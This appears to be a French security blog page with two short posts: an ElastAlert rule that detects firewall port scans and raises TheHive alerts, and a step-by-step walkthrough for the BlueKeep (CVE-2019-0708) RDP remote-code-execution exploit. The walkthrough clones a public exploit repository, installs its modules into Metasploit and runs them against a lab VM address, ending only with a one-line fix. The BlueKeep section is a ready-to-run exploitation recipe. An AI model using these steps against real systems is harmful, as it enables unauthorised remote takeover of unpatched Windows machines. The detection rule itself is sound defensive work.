Articles

Publié le

Exemple alerte elastalert

name: "##Firewall_PortScan"

index: graylog_*

type: cardinality

cardinality_field: DEV_LOG_DPORT

timeframe:
   minutes: 45

buffer_time:
   minutes: 15

max_cardinality: 50

query_key: [DEV_LOG_SRC,DEV_LOG_DST]

filter:
    - query:
        query_string:
            query: '_exists_:DEV_LOG_SRC AND _exists_:DEV_LOG_DST AND _exists_:DEV_LOG_DPORT AND DEV_LOG_DPORT:*'


alert_subject: "[CAR] Firewall PortScan from {0}"

alert_subject_args:
    - DEV_LOG_SRC


alert_text_kw:
    _index: _index
    _id: _id
    DEV_LOG_DPORT: DEV_LOG_DPORT
    DEV_LOG_SRC: DEV_LOG_SRC
    DEV_LOG_DST: DEV_LOG_DST
    DEV_LOG_COMPID: DEV_LOG_COMPID
    DEV_LOG_TIMESTAMP: DEV_LOG_TIMESTAMP
    

alert_text: |

    #### Detection of a PortScan on Firewall:

    - **Firewall Device**: `{DEV_LOG_COMPID}`
    - **Source IP**: `{DEV_LOG_SRC}`
    - **Destination IP**: `{DEV_LOG_DST}`
    - **Destination Port**: `{DEV_LOG_DPORT}`
    - **Event Time**: `{DEV_LOG_TIMESTAMP}`
    

    #### Logs details:
    - Logs available on [Graylog](https://localhost/graylog/messages/{_index}/{_id}).


alert_text_type: alert_text_only


realert:
    hours: 12


alert:
- elastalert_modules.thehive_alerter.TheHiveAlerter


thehive_uri: http://thehive:9000
thehive_auth_file: thehive_acct.yaml
thehive_alert_type: PortScan
thehive_severity: 2
thehive_tlp: 2
thehive_source: Dev
thehive_source_ref: Forcepoint_portscan_{0}
thehive_source_ref_args:
    - DEV_LOG_SRC
thehive_artifacts:
    - data: DEV_LOG_SRC
      datatype: ip
    - data: DEV_LOG_DST
      datatype: ip
thehive_tags:
    - portscan
Publié le

Bluekeep_rce

# Download exploit 
 git clone https://github.com/TinToSer/bluekeep-exploit 
 
# remplacer ces fichiers 
 cp rdp.rb /usr/share/metasploit-framework/lib/msf/core/exploit/  
 cp  rdp_scanner.rb /usr/share/metasploit-framework/modules/auxiliary/scanner/rdp / 
 cp  cve_2019_0708_bluekeep.rb /usr/share/metasploit-framework/modules/auxiliary/scanner/rdp / 

 # Pour une utilisation propre, créer le répertoire contenant l'exploit 
 mkdir /usr/share/metasploit-framework/modules/exploit/rdp 
 cp  cve_2019_0708_bluekeep_rce.rb /usr/share/metasploit-framework/modules/exploit/rdp/ 

 # Ensuite on peut lancer l'exploit 
 msfdb start 
 msfconsole 
 use exploit/windows/rdp/cve_2019_0708_bluekeep_rce  
 set RHOST 192.168.56.101    (ex:@ip vm) 
 set TARGET 2    (sélection os sytem vm) 
 run    (ou exploit) 

 # Pour effectuer un check 
 use auxiliary/scanner/rdp/cve_2019_0708_bluekeep 
 set RHOST 192.168.56.101 
 run

Solution

Mettre à jour Windows